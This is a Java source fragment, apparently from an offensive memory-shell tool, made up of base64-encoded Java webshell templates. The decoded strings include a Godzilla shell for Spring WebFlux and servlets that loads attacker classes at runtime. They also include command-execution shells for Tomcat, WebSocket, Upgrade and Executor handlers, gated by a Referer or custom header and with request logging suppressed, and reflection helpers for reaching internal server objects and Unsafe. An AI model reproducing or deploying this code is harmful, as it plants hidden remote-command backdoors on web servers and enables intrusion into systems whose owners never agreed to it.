public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0=";
public static String GODZILLA_RAW_SHELL = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJbm9Mb2cocmVxdWVzdCk7DQoJCQkJYnl0ZVtdIGRhdGEgPSBuZXcgYnl0ZVtJbnRlZ2VyLnBhcnNlSW50KHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpKV07DQogICAgICAgICAgICAJamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsNCgkJCQlpbnQgX251bSA9IDA7DQogICAgICAgICAgICAJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7DQoJCQkJZGF0YSA9IHgoZGF0YSwgZmFsc2UpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwpIHsNCgkJCQkJamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgdXJsQ2xhc3NMb2FkZXIgPSBuZXcgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIobmV3IGphdmEubmV0LlVSTFswXSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7DQoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOw0KCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOw0KCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7DQoJCQkJCWYuZXF1YWxzKGFyck91dCk7DQoJCQkJCWYuZXF1YWxzKGRhdGEpOw0KCQkJCQlmLnRvU3RyaW5nKCk7DQoJCQkJCXJlc3BvbnNlLmdldE91dHB1dFN0cmVhbSgpLndyaXRlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKTsNCgkJCQl9DQoJCQl9DQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCn0=";
public static String CMD_SHELL_FOR_TOMCAT = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCU9iamVjdCBsYXN0UmVzcG9uc2UgPSByZXNwb25zZTsNCg0KCQkJaWYgKCEobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShyZXNwb25zZSxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlub0xvZyhyZXF1ZXN0KTsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQkoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlKSBsYXN0UmVzcG9uc2UpLmdldFdyaXRlcigpLnByaW50bG4oZXhlY0NtZChjbWQpKTsNCgkJfQ0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJfQ0KfQ==";
public static String CMD_SHELL = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCgl0cnkgew0KCQlpZiAocmVxdWVzdC5nZXRIZWFkZXIoIlJlZmVyZXIiKS5lcXVhbHNJZ25vcmVDYXNlKCJodHRwczovL1FJNEwuY24vIikpIHsNCgkJCVN0cmluZyBjbWQgPSByZXF1ZXN0LmdldEhlYWRlcigiWC1Ub2tlbi1EYXRhIik7DQoJCQlyZXNwb25zZS5nZXRXcml0ZXIoKS5wcmludGxuKGV4ZWNDbWQoY21kKSk7DQoJCX0NCgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCX0NCn0=";
public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0=";
public static String UPGRADE_SHELL = "ew0KCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IHJlcXVlc3QgPSAkMTsNCg0KCQl0cnkgew0KCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgY29tbWFuZCAgPSByZXF1ZXN0LmdldEhlYWRlcigiUUk0TCIpOw0KCQkJb3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UgcmVzcG9uc2UgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVzcG9uc2UpIGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlc3BvbnNlIik7DQoJCQlyZXNwb25zZS5kb1dyaXRlKGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChleGVjQ21kKGNvbW1hbmQpLnRvQnl0ZUFycmF5KCkpKTsNCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KDQoJCXJldHVybiBmYWxzZTsNCgl9";
public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9";
// executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性
public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9";
// executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode
public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ";
// toCString
public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ==";
// getMethodAndInvoke native 版
public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ==";
// getMethodAndInvoke
public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0=";
// getMethodByClass
public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0=";
// getFieldValue
public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9";
// getUnsafe
public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9";
// base64Decode
public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXREZWNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKGJ5dGVbXSkgZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlMikgewoJCQl9CgkJfQoJCXJldHVybiB2YWx1ZTsKCX0";
// base64Encode
